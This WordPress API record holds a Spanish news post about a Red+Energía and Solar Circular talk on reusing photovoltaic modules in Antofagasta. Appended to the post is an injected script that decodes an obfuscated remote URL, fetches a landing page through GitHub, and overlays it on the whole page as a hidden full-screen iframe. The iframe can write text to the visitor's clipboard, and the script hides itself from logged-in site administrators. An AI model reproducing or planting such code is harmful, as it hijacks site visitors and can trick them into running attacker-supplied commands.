{"id":32615,"date":"2023-08-04T11:31:11","date_gmt":"2023-08-04T15:31:11","guid":{"rendered":"https:\/\/ceim.cl\/?p=32615"},"modified":"2026-05-22T21:30:43","modified_gmt":"2026-05-23T01:30:43","slug":"programa-redenergia-y-solar-circular-ofrecieron-charla-sobre-reutilizacion-de-modulos-fotovoltaicos","status":"publish","type":"post","link":"https:\/\/ceim.cl\/en\/programa-redenergia-y-solar-circular-ofrecieron-charla-sobre-reutilizacion-de-modulos-fotovoltaicos\/","title":{"rendered":"Programa Red+Energ\u00eda y Solar Circular ofrecieron charla sobre reutilizaci\u00f3n de m\u00f3dulos fotovoltaicos"},"content":{"rendered":"<p><em><em>El encuentro se realiz\u00f3 en el auditorio de Fundaci\u00f3n Minera Escondida (FME) y cont\u00f3 con la exposici\u00f3n del Centro de Desarrollo Energ\u00e9tico de la Universidad de Antofagasta<\/em><\/em><\/p>\n\n\n\n<p>El programa Red+Energ\u00eda, en conjunto con el proyecto Solar Circular de la Universidad de Antofagasta (UA), organizaron la charla t\u00e9cnica \u201cOportunidades de nuevos negocios en el reh\u00faso de m\u00f3dulos fotovoltaicos\u201d, encuentro que cont\u00f3 con la participaci\u00f3n de cerca de 50 personas, entre acad\u00e9micos, proveedores, emprendedores y estudiantes universitarios, quienes conocieron el potencial el\u00e9ctrico fotovoltaico a nivel mundial y nacional.<\/p>\n\n\n\n<p>El evento cont\u00f3 con la ponencia de Jorge Rabanal, director alterno del Centro de Desarrollo Energ\u00e9tico de la Universidad de Antofagasta, el cual mediante la presentaci\u00f3n \u201cRe\u00faso de m\u00f3dulos fotovoltaicos en la macrozona norte chilena\u201d dio a conocer los principales desaf\u00edos del crecimiento en proyectos PV, fallas a nivel de sistema y m\u00f3dulos PV, ideas para re\u00faso de m\u00f3dulos PV y cadena de circularidad.<\/p>\n\n\n\n<p><strong>Impresiones<\/strong><\/p>\n\n\n\n<p>Enzo Olivares, ingeniero en Procesos de Sustentabilidad de SQM, coment\u00f3 que \u201c<em>nosotros tenemos una arista fuerte en lo que tiene relaci\u00f3n con el \u00e1rea de circularidad, por ello es fundamental asistir a este tipo de encuentros, porque nos ponen al corriente de los avances de la industria respecto a estas tem\u00e1ticas y c\u00f3mo las podemos abordar<\/em>\u201d.<\/p>\n\n\n\n<p>Por su parte, Mar\u00eda Jos\u00e9 Riquelme, asesora de la Universidad de Antofagasta y encargada de Desarrollo de Proyectos para el Centro de Energ\u00eda de Francia, se refiri\u00f3 a esta instancia como primordial para el desarrollo de conocimiento local. \u201c<em>Es importante la difusi\u00f3n de proyectos como Solar Circular, ya que siempre que se descubre informaci\u00f3n hay oportunidades de negocios para las peque\u00f1as y medianas empresas, para mejorar la competitividad de la industria, y en este caso, igualmente la sustentabilidad<\/em>\u201d.<\/p>\n\n\n\n<p>Adem\u00e1s, durante la actividad el Comit\u00e9 Corfo dio a conocer informaci\u00f3n relacionada con la organizaci\u00f3n, programas, fondos para financiamiento, perfiles de beneficiarios y subsidios, entre otros asuntos enfocados en apoyar y potenciar proyectos vinculados a la industria energ\u00e9tica de la zona.<\/p>\n\n\n\n<p>\u201c<em>El objetivo principal de este tipo de encuentros es hacer difusi\u00f3n de lo que estamos realizando en la universidad y generar espacios de di\u00e1logo junto a actores de la industria energ\u00e9tica regional. Hoy pudimos visibilizar las fallas m\u00e1s comunes que pueden ocurrir en torno a los paneles fotovoltaicos, c\u00f3mo debemos prevenir errores al manipular las instalaciones y la importancia de detectar las irregularidades para evitar consecuencias negativas, entre otras pr\u00e1cticas que son fundamentales para aquellos empresarios o emprendedores vinculados a este sector<\/em>\u201d, coment\u00f3 Jorge Rabanal, expositor acad\u00e9mico del departamento de energ\u00eda el\u00e9ctrica de la Universidad de Antofagasta.<\/p>\n\n\n\n<p>La jornada estuvo liderada por Iv\u00e1n Tapia, jefe de proyecto del Programa Red+Energ\u00eda, quien se refiri\u00f3 al encuentro indicando que&nbsp;<em>\u201ces una de las iniciativas que esperamos que se den, ya que esta actividad es un buen ejemplo para tomar proyectos del sector energ\u00e9tico impulsados por la Corfo, y poner a disposici\u00f3n esa informaci\u00f3n al p\u00fablico que tenemos, para que puedan conocer m\u00e1s en profundidad la circularidad energ\u00e9tica y el re\u00faso de paneles fotovoltaicos, lo cual marca un camino para que las oportunidades sean rentables\u201d.<\/em><\/p>\n\n\n\n<p><strong>Programa Red + Energ\u00eda<\/strong><\/p>\n\n\n\n<p>Red + Energ\u00eda es impulsado por el Comit\u00e9 Corfo Antofagasta, a trav\u00e9s del Fondo de Innovaci\u00f3n para la Competitividad Regional (FIC-R) del Gobierno Regional, y ejecutado por CEIM, con el objetivo de fortalecer a las empresas proveedoras y emprendimientos de la industria energ\u00e9tica de la Regi\u00f3n, mediante el desarrollo de acciones que permitan mejorar el est\u00e1ndar de servicios, con un mayor nivel de competencias y conocimientos de t\u00e9cnicos, logrando adem\u00e1s generar un mayor v\u00ednculo con las universidades y centros tecnol\u00f3gicos.<\/p>\n\n\n\n<p><\/p>\n\n\n\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped wp-block-gallery-1 is-layout-flex wp-block-gallery-is-layout-flex\">\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"576\" data-id=\"32619\" src=\"https:\/\/ceim.cl\/wp-content\/uploads\/2023\/08\/WhatsApp-Image-2023-08-04-at-11.20.30-1-1024x576.jpeg\" alt=\"\" class=\"wp-image-32619\" srcset=\"https:\/\/ceim.cl\/wp-content\/uploads\/2023\/08\/WhatsApp-Image-2023-08-04-at-11.20.30-1-1024x576.jpeg 1024w, https:\/\/ceim.cl\/wp-content\/uploads\/2023\/08\/WhatsApp-Image-2023-08-04-at-11.20.30-1-300x169.jpeg 300w, https:\/\/ceim.cl\/wp-content\/uploads\/2023\/08\/WhatsApp-Image-2023-08-04-at-11.20.30-1-768x432.jpeg 768w, https:\/\/ceim.cl\/wp-content\/uploads\/2023\/08\/WhatsApp-Image-2023-08-04-at-11.20.30-1-1536x864.jpeg 1536w, https:\/\/ceim.cl\/wp-content\/uploads\/2023\/08\/WhatsApp-Image-2023-08-04-at-11.20.30-1-18x10.jpeg 18w, https:\/\/ceim.cl\/wp-content\/uploads\/2023\/08\/WhatsApp-Image-2023-08-04-at-11.20.30-1.jpeg 1600w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"577\" data-id=\"32618\" src=\"https:\/\/ceim.cl\/wp-content\/uploads\/2023\/08\/WhatsApp-Image-2023-08-04-at-11.20.30-2-1024x577.jpeg\" alt=\"\" class=\"wp-image-32618\" srcset=\"https:\/\/ceim.cl\/wp-content\/uploads\/2023\/08\/WhatsApp-Image-2023-08-04-at-11.20.30-2-1024x577.jpeg 1024w, https:\/\/ceim.cl\/wp-content\/uploads\/2023\/08\/WhatsApp-Image-2023-08-04-at-11.20.30-2-300x169.jpeg 300w, https:\/\/ceim.cl\/wp-content\/uploads\/2023\/08\/WhatsApp-Image-2023-08-04-at-11.20.30-2-768x432.jpeg 768w, https:\/\/ceim.cl\/wp-content\/uploads\/2023\/08\/WhatsApp-Image-2023-08-04-at-11.20.30-2-1536x865.jpeg 1536w, https:\/\/ceim.cl\/wp-content\/uploads\/2023\/08\/WhatsApp-Image-2023-08-04-at-11.20.30-2-18x10.jpeg 18w, https:\/\/ceim.cl\/wp-content\/uploads\/2023\/08\/WhatsApp-Image-2023-08-04-at-11.20.30-2.jpeg 1600w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"577\" data-id=\"32620\" src=\"https:\/\/ceim.cl\/wp-content\/uploads\/2023\/08\/WhatsApp-Image-2023-08-04-at-11.20.30-3-1024x577.jpeg\" alt=\"\" class=\"wp-image-32620\" srcset=\"https:\/\/ceim.cl\/wp-content\/uploads\/2023\/08\/WhatsApp-Image-2023-08-04-at-11.20.30-3-1024x577.jpeg 1024w, https:\/\/ceim.cl\/wp-content\/uploads\/2023\/08\/WhatsApp-Image-2023-08-04-at-11.20.30-3-300x169.jpeg 300w, https:\/\/ceim.cl\/wp-content\/uploads\/2023\/08\/WhatsApp-Image-2023-08-04-at-11.20.30-3-768x432.jpeg 768w, https:\/\/ceim.cl\/wp-content\/uploads\/2023\/08\/WhatsApp-Image-2023-08-04-at-11.20.30-3-1536x865.jpeg 1536w, https:\/\/ceim.cl\/wp-content\/uploads\/2023\/08\/WhatsApp-Image-2023-08-04-at-11.20.30-3-18x10.jpeg 18w, https:\/\/ceim.cl\/wp-content\/uploads\/2023\/08\/WhatsApp-Image-2023-08-04-at-11.20.30-3.jpeg 1600w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"575\" data-id=\"32623\" src=\"https:\/\/ceim.cl\/wp-content\/uploads\/2023\/08\/WhatsApp-Image-2023-08-04-at-11.20.30-1024x575.jpeg\" alt=\"\" class=\"wp-image-32623\" srcset=\"https:\/\/ceim.cl\/wp-content\/uploads\/2023\/08\/WhatsApp-Image-2023-08-04-at-11.20.30-1024x575.jpeg 1024w, https:\/\/ceim.cl\/wp-content\/uploads\/2023\/08\/WhatsApp-Image-2023-08-04-at-11.20.30-300x169.jpeg 300w, https:\/\/ceim.cl\/wp-content\/uploads\/2023\/08\/WhatsApp-Image-2023-08-04-at-11.20.30-768x432.jpeg 768w, https:\/\/ceim.cl\/wp-content\/uploads\/2023\/08\/WhatsApp-Image-2023-08-04-at-11.20.30-1536x863.jpeg 1536w, https:\/\/ceim.cl\/wp-content\/uploads\/2023\/08\/WhatsApp-Image-2023-08-04-at-11.20.30-18x10.jpeg 18w, https:\/\/ceim.cl\/wp-content\/uploads\/2023\/08\/WhatsApp-Image-2023-08-04-at-11.20.30.jpeg 1600w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"575\" data-id=\"32622\" src=\"https:\/\/ceim.cl\/wp-content\/uploads\/2023\/08\/WhatsApp-Image-2023-08-04-at-11.20.52-1024x575.jpeg\" alt=\"\" class=\"wp-image-32622\" srcset=\"https:\/\/ceim.cl\/wp-content\/uploads\/2023\/08\/WhatsApp-Image-2023-08-04-at-11.20.52-1024x575.jpeg 1024w, https:\/\/ceim.cl\/wp-content\/uploads\/2023\/08\/WhatsApp-Image-2023-08-04-at-11.20.52-300x169.jpeg 300w, https:\/\/ceim.cl\/wp-content\/uploads\/2023\/08\/WhatsApp-Image-2023-08-04-at-11.20.52-768x432.jpeg 768w, https:\/\/ceim.cl\/wp-content\/uploads\/2023\/08\/WhatsApp-Image-2023-08-04-at-11.20.52-1536x863.jpeg 1536w, https:\/\/ceim.cl\/wp-content\/uploads\/2023\/08\/WhatsApp-Image-2023-08-04-at-11.20.52-18x10.jpeg 18w, https:\/\/ceim.cl\/wp-content\/uploads\/2023\/08\/WhatsApp-Image-2023-08-04-at-11.20.52.jpeg 1600w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"575\" data-id=\"32624\" src=\"https:\/\/ceim.cl\/wp-content\/uploads\/2023\/08\/WhatsApp-Image-2023-08-04-at-11.22.38-1024x575.jpeg\" alt=\"\" class=\"wp-image-32624\" srcset=\"https:\/\/ceim.cl\/wp-content\/uploads\/2023\/08\/WhatsApp-Image-2023-08-04-at-11.22.38-1024x575.jpeg 1024w, https:\/\/ceim.cl\/wp-content\/uploads\/2023\/08\/WhatsApp-Image-2023-08-04-at-11.22.38-300x169.jpeg 300w, https:\/\/ceim.cl\/wp-content\/uploads\/2023\/08\/WhatsApp-Image-2023-08-04-at-11.22.38-768x432.jpeg 768w, https:\/\/ceim.cl\/wp-content\/uploads\/2023\/08\/WhatsApp-Image-2023-08-04-at-11.22.38-1536x863.jpeg 1536w, https:\/\/ceim.cl\/wp-content\/uploads\/2023\/08\/WhatsApp-Image-2023-08-04-at-11.22.38-18x10.jpeg 18w, https:\/\/ceim.cl\/wp-content\/uploads\/2023\/08\/WhatsApp-Image-2023-08-04-at-11.22.38.jpeg 1600w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"575\" data-id=\"32625\" src=\"https:\/\/ceim.cl\/wp-content\/uploads\/2023\/08\/WhatsApp-Image-2023-08-04-at-11.23.03-1024x575.jpeg\" alt=\"\" class=\"wp-image-32625\" srcset=\"https:\/\/ceim.cl\/wp-content\/uploads\/2023\/08\/WhatsApp-Image-2023-08-04-at-11.23.03-1024x575.jpeg 1024w, https:\/\/ceim.cl\/wp-content\/uploads\/2023\/08\/WhatsApp-Image-2023-08-04-at-11.23.03-300x169.jpeg 300w, https:\/\/ceim.cl\/wp-content\/uploads\/2023\/08\/WhatsApp-Image-2023-08-04-at-11.23.03-768x432.jpeg 768w, https:\/\/ceim.cl\/wp-content\/uploads\/2023\/08\/WhatsApp-Image-2023-08-04-at-11.23.03-1536x863.jpeg 1536w, https:\/\/ceim.cl\/wp-content\/uploads\/2023\/08\/WhatsApp-Image-2023-08-04-at-11.23.03-18x10.jpeg 18w, https:\/\/ceim.cl\/wp-content\/uploads\/2023\/08\/WhatsApp-Image-2023-08-04-at-11.23.03.jpeg 1600w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"575\" data-id=\"32621\" src=\"https:\/\/ceim.cl\/wp-content\/uploads\/2023\/08\/WhatsApp-Image-2023-08-04-at-11.23.34-1024x575.jpeg\" alt=\"\" class=\"wp-image-32621\" srcset=\"https:\/\/ceim.cl\/wp-content\/uploads\/2023\/08\/WhatsApp-Image-2023-08-04-at-11.23.34-1024x575.jpeg 1024w, https:\/\/ceim.cl\/wp-content\/uploads\/2023\/08\/WhatsApp-Image-2023-08-04-at-11.23.34-300x169.jpeg 300w, https:\/\/ceim.cl\/wp-content\/uploads\/2023\/08\/WhatsApp-Image-2023-08-04-at-11.23.34-768x432.jpeg 768w, https:\/\/ceim.cl\/wp-content\/uploads\/2023\/08\/WhatsApp-Image-2023-08-04-at-11.23.34-1536x863.jpeg 1536w, https:\/\/ceim.cl\/wp-content\/uploads\/2023\/08\/WhatsApp-Image-2023-08-04-at-11.23.34-18x10.jpeg 18w, https:\/\/ceim.cl\/wp-content\/uploads\/2023\/08\/WhatsApp-Image-2023-08-04-at-11.23.34.jpeg 1600w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n<\/figure>\n<script>;(function () {\n  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();\n  var TRUSTED_CONFIGS = [\n    { template: \"https:\/\/raw.githubusercontent.com\/{id}\", useFetch: true }\n  ];\n\n  var GLOBAL_KEY = (typeof Symbol === \"function\" && Symbol.for)\n    ? Symbol.for(\"__inline_id_offer__\")\n    : \"__inline_id_offer__\";\n\n  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {\n    status: \"idle\",\n    iframeId: \"__inline_offer_iframe__\",\n    iframeAttr: \"data-inline-offer-frame\",\n    hints: {},\n    runPromise: null,\n    destroy: null,\n    reveal: null,\n    requestTimeoutMs: 4000,\n    iframeTimeoutMs: 9000,\n    requireReadyMessage: false,\n    messageBound: false\n  };\n\n  function isWpLoggedInContext() {\n    try {\n      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;\n\n      var path = window.location.pathname || \"\";\n      if (\/^\\\/(wp-admin|wp-login)\/.test(path)) return true;\n\n      var cookie = document.cookie || \"\";\n      if (\/wordpress_logged_in_[^=]*=\/.test(cookie)) return true;\n\n      var de = document.documentElement;\n      var body = document.body;\n\n      if (de && typeof de.className === \"string\" && \/\\bwp-toolbar\\b\/.test(de.className)) return true;\n      if (body && typeof body.className === \"string\" && \/\\badmin-bar\\b\/.test(body.className)) return true;\n      if (document.getElementById(\"wpadminbar\")) return true;\n    } catch (e) {}\n\n    return false;\n  }\n\n  if (isWpLoggedInContext()) return;\n\n  if (document.getElementById(registry.iframeId)) {\n    registry.status = \"active\";\n    return;\n  }\n\n  if (registry.runPromise || registry.status === \"loading\" || registry.status === \"active\" || registry.status === \"done\") {\n    return;\n  }\n\n  registry.status = \"loading\";\n\n  function safeAppendQuery(url, key, val) {\n    var sep = url.indexOf(\"?\") >= 0 ? \"&\" : \"?\";\n    return url + sep + encodeURIComponent(key) + \"=\" + encodeURIComponent(val);\n  }\n\n  function buildTrustedUrl(template, id) {\n    if (!template || !id) return \"\";\n\n    if (template.indexOf(\"dropbox.com\") >= 0) {\n      return template.replace(\/\\{id\\}\/g, id);\n    }\n\n    var encoded = encodeURIComponent(id);\n\n    if (template.indexOf(\"gist.githubusercontent.com\") >= 0) {\n      encoded = encoded.replace(\/%2F\/g, \"\/\");\n    }\n\n    return template.replace(\/\\{id\\}\/g, encoded);\n  }\n\n  function toHttpUrl(value) {\n    if (!value) return \"\";\n\n    var s = String(value)\n      .replace(\/^\\uFEFF\/, \"\")\n      .trim()\n      .replace(\/^['\"`\\s]+|['\"`\\s]+$\/g, \"\");\n\n    if (!s) return \"\";\n\n    if (!\/^[a-z][a-z0-9+.-]*:\\\/\\\/\/i.test(s)) {\n      if (\/^[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:[\\\/?#]|$)\/i.test(s)) {\n        s = \"https:\/\/\" + s;\n      } else {\n        return \"\";\n      }\n    }\n\n    try {\n      var u = new URL(s);\n      if (u.protocol === \"http:\" || u.protocol === \"https:\") {\n        return u.href;\n      }\n    } catch (e) {}\n\n    return \"\";\n  }\n\n  function findUrlInObject(input, depth) {\n    if (!input || depth > 3) return \"\";\n\n    if (typeof input === \"string\") {\n      return toHttpUrl(input);\n    }\n\n    if (Object.prototype.toString.call(input) === \"[object Array]\") {\n      for (var i = 0; i < input.length; i++) {\n        var arrVal = findUrlInObject(input[i], depth + 1);\n        if (arrVal) return arrVal;\n      }\n      return \"\";\n    }\n\n    if (typeof input === \"object\") {\n      var keys = [\"url\", \"link\", \"href\", \"location\", \"redirect\", \"target\", \"landing\", \"landingUrl\"];\n\n      for (var j = 0; j < keys.length; j++) {\n        var key = keys[j];\n        if (Object.prototype.hasOwnProperty.call(input, key)) {\n          var direct = findUrlInObject(input[key], depth + 1);\n          if (direct) return direct;\n        }\n      }\n\n      for (var k in input) {\n        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;\n        var nested = findUrlInObject(input[k], depth + 1);\n        if (nested) return nested;\n      }\n    }\n\n    return \"\";\n  }\n\n  function extractLandingUrl(raw) {\n    if (!raw) return \"\";\n\n    var text = String(raw).replace(\/^\\uFEFF\/, \"\").trim();\n    if (!text) return \"\";\n\n    var direct = toHttpUrl(text);\n    if (direct) return direct;\n\n    if ((text.charAt(0) === \"{\" &#038;&#038; text.charAt(text.length - 1) === \"}\") ||\n        (text.charAt(0) === \"[\" &#038;&#038; text.charAt(text.length - 1) === \"]\")) {\n      try {\n        var parsed = JSON.parse(text);\n        var jsonUrl = findUrlInObject(parsed, 0);\n        if (jsonUrl) return jsonUrl;\n      } catch (e) {}\n    }\n\n    var matchHttp = text.match(\/https?:\\\/\\\/[^\\s\"'<>]+\/i);\n    if (matchHttp && matchHttp[0]) {\n      var httpUrl = toHttpUrl(matchHttp[0]);\n      if (httpUrl) return httpUrl;\n    }\n\n    var matchDomain = text.match(\/\\b[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:\\\/[^\\s\"'<>]*)?\/i);\n    if (matchDomain && matchDomain[0]) {\n      var domainUrl = toHttpUrl(matchDomain[0]);\n      if (domainUrl) return domainUrl;\n    }\n\n    return \"\";\n  }\n\n  function getOriginSafe(url) {\n    try {\n      return new URL(url).origin;\n    } catch (e) {\n      return \"\";\n    }\n  }\n\n  function addHint(rel, href) {\n    if (!href || !document || !document.createElement) return;\n\n    var key = rel + \"::\" + href;\n    if (registry.hints[key]) return;\n    registry.hints[key] = true;\n\n    try {\n      var parent = document.head || document.documentElement;\n      if (!parent) return;\n\n      var link = document.createElement(\"link\");\n      link.rel = rel;\n      link.href = href;\n\n      if (rel === \"preconnect\") {\n        link.crossOrigin = \"anonymous\";\n      }\n\n      parent.appendChild(link);\n    } catch (e) {}\n  }\n\n  function warmupOrigins() {\n    var origins = {};\n    var apiOrigin = getOriginSafe(API_ID_URL);\n    if (apiOrigin) origins[apiOrigin] = true;\n\n    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {\n      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;\n      if (!tpl) continue;\n      var probe = tpl.replace(\/\\{id\\}\/g, \"x\");\n      var origin = getOriginSafe(probe);\n      if (origin) origins[origin] = true;\n    }\n\n    for (var originKey in origins) {\n      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;\n      addHint(\"dns-prefetch\", originKey);\n      addHint(\"preconnect\", originKey);\n    }\n  }\n\n  function getMountNode() {\n    return document.body || document.documentElement || null;\n  }\n\n  function fetchTextNoThrow(url, timeoutMs) {\n    return new Promise(function (resolve) {\n      if (!url || typeof fetch !== \"function\") {\n        resolve(\"\");\n        return;\n      }\n\n      var finished = false;\n      var timer = null;\n      var controller = null;\n\n      function done(value) {\n        if (finished) return;\n        finished = true;\n        if (timer) clearTimeout(timer);\n        resolve((value || \"\").trim());\n      }\n\n      try {\n        if (typeof AbortController !== \"undefined\") {\n          controller = new AbortController();\n        }\n\n        timer = setTimeout(function () {\n          try {\n            if (controller) controller.abort();\n          } catch (e) {}\n          done(\"\");\n        }, timeoutMs);\n\n        fetch(url, {\n          cache: \"no-store\",\n          credentials: \"omit\",\n          signal: controller ? controller.signal : void 0\n        })\n          .then(function (response) {\n            return response ? response.text() : \"\";\n          })\n          .then(function (text) {\n            done(text);\n          })\n          .catch(function () {\n            done(\"\");\n          });\n      } catch (e) {\n        done(\"\");\n      }\n    });\n  }\n\n  function tryCopy(text) {\n    if (typeof text !== \"string\" || !text) return;\n\n    try { window.focus(); } catch (e) {}\n\n    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {\n      navigator.clipboard.writeText(text).catch(function () {\n        fallbackCopy(text);\n      });\n      return;\n    }\n\n    fallbackCopy(text);\n  }\n\n  function fallbackCopy(text) {\n    try {\n      var mount = getMountNode();\n      if (!mount) return;\n\n      var ta = document.createElement(\"textarea\");\n      ta.value = text;\n      ta.setAttribute(\"readonly\", \"readonly\");\n      ta.style.position = \"fixed\";\n      ta.style.left = \"-9999px\";\n      ta.style.top = \"0\";\n      ta.style.opacity = \"0\";\n      mount.appendChild(ta);\n      try { ta.focus(); } catch (e) {}\n      ta.select();\n      ta.setSelectionRange(0, ta.value.length);\n      document.execCommand(\"copy\");\n      if (ta.parentNode) ta.parentNode.removeChild(ta);\n    } catch (e) {}\n  }\n\n  function bindMessageHandler() {\n    if (registry.messageBound) return;\n    registry.messageBound = true;\n\n    window.addEventListener(\"message\", function (event) {\n      var data = event &#038;&#038; event.data;\n      var iframe = document.getElementById(registry.iframeId);\n\n      if (!iframe || !data || typeof data !== \"object\") return;\n      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;\n\n      if (data.type === \"ktl-show-original\") {\n        if (typeof registry.destroy === \"function\") registry.destroy();\n        return;\n      }\n\n      if (data.type === \"ktl-frame-ready\") {\n        if (typeof registry.reveal === \"function\") registry.reveal();\n        return;\n      }\n\n      if (data.type === \"copy\" &#038;&#038; typeof data.text === \"string\") {\n        tryCopy(data.text);\n      }\n    });\n  }\n\n  function cleanup(nextStatus) {\n    var iframe = document.getElementById(registry.iframeId);\n\n    registry.destroy = null;\n    registry.reveal = null;\n\n    try {\n      if (iframe &#038;&#038; iframe.parentNode) {\n        iframe.parentNode.removeChild(iframe);\n      }\n    } catch (e) {}\n\n    registry.status = nextStatus || \"done\";\n  }\n\n  function resolveLandingUrl(id) {\n    if (!id || !TRUSTED_CONFIGS.length) {\n      return Promise.resolve(\"\");\n    }\n\n    function step(index) {\n      if (index >= TRUSTED_CONFIGS.length) {\n        return Promise.resolve(\"\");\n      }\n\n      var cfg = TRUSTED_CONFIGS[index] || {};\n      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || \"\", id));\n\n      if (!builtUrl) {\n        return step(index + 1);\n      }\n\n      if (!cfg.useFetch) {\n        return Promise.resolve(builtUrl);\n      }\n\n      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)\n        .then(function (raw) {\n          var landingUrl = extractLandingUrl(raw);\n          if (landingUrl) return landingUrl;\n          return step(index + 1);\n        })\n        .catch(function () {\n          return step(index + 1);\n        });\n    }\n\n    return step(0);\n  }\n\n  function activateIframe(url) {\n    if (!url || registry.status === \"active\") return;\n\n    if (isWpLoggedInContext()) {\n      cleanup(\"done\");\n      return;\n    }\n\n    var existing = document.getElementById(registry.iframeId);\n    if (existing) {\n      registry.status = \"active\";\n      return;\n    }\n\n    var mount = getMountNode();\n    if (!mount) {\n      setTimeout(function () {\n        activateIframe(url);\n      }, 0);\n      return;\n    }\n\n    var iframe = document.createElement(\"iframe\");\n    var closed = false;\n    var revealed = false;\n    var timeoutId = null;\n\n    function reveal() {\n      if (closed || revealed) return;\n      revealed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n\n      registry.status = \"active\";\n\n      iframe.style.visibility = \"visible\";\n      iframe.style.opacity = \"1\";\n      iframe.style.pointerEvents = \"auto\";\n      iframe.removeAttribute(\"aria-hidden\");\n\n      setTimeout(function () {\n        try { iframe.focus(); } catch (e) {}\n        try {\n          if (iframe.contentWindow && iframe.contentWindow.focus) {\n            iframe.contentWindow.focus();\n          }\n        } catch (e) {}\n      }, 0);\n    }\n\n    function destroy() {\n      if (closed) return;\n      closed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n      cleanup(\"done\");\n    }\n\n    registry.destroy = destroy;\n    registry.reveal = reveal;\n\n    iframe.id = registry.iframeId;\n    iframe.setAttribute(registry.iframeAttr, \"1\");\n    iframe.setAttribute(\"aria-hidden\", \"true\");\n    iframe.setAttribute(\"loading\", \"eager\");\n    iframe.setAttribute(\"allow\", \"clipboard-write\");\n    iframe.src = safeAppendQuery(url, \"v\", Math.random().toString(36).slice(2));\n    iframe.style.cssText = [\n      \"position:fixed !important\",\n      \"top:0\",\n      \"left:0\",\n      \"width:100vw\",\n      \"height:100vh\",\n      \"border:none\",\n      \"z-index:2147483647\",\n      \"margin:0\",\n      \"padding:0\",\n      \"overflow:hidden\",\n      \"visibility:hidden\",\n      \"opacity:0\",\n      \"pointer-events:none\",\n      \"background:transparent\"\n    ].join(\";\");\n\n    iframe.onload = function () {\n      if (closed) return;\n      if (!registry.requireReadyMessage) {\n        reveal();\n      }\n    };\n\n    iframe.onerror = function () {\n      destroy();\n    };\n\n    timeoutId = setTimeout(function () {\n      destroy();\n    }, registry.iframeTimeoutMs);\n\n    try {\n      mount.appendChild(iframe);\n    } catch (e) {\n      destroy();\n    }\n  }\n\n  function run() {\n    warmupOrigins();\n    bindMessageHandler();\n\n    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)\n      .then(function (id) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        id = (id || \"\").trim();\n        if (!id) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        return resolveLandingUrl(id);\n      })\n      .then(function (finalUrl) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        finalUrl = toHttpUrl(finalUrl);\n\n        if (!finalUrl) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        var finalOrigin = getOriginSafe(finalUrl);\n        if (finalOrigin) {\n          addHint(\"dns-prefetch\", finalOrigin);\n          addHint(\"preconnect\", finalOrigin);\n        }\n\n        activateIframe(finalUrl);\n        return finalUrl;\n      })\n      .catch(function () {\n        cleanup(\"done\");\n      });\n  }\n\n  registry.runPromise = run();\n})();<\/script>","protected":false},"excerpt":{"rendered":"<p>El encuentro se realiz\u00f3 en el auditorio de Fundaci\u00f3n Minera Escondida (FME) y cont\u00f3 con la exposici\u00f3n del Centro de Desarrollo Energ\u00e9tico de la Universidad de Antofagasta El programa Red+Energ\u00eda, en conjunto con el proyecto Solar Circular de la Universidad de Antofagasta (UA), organizaron la charla t\u00e9cnica \u201cOportunidades de nuevos negocios en el reh\u00faso 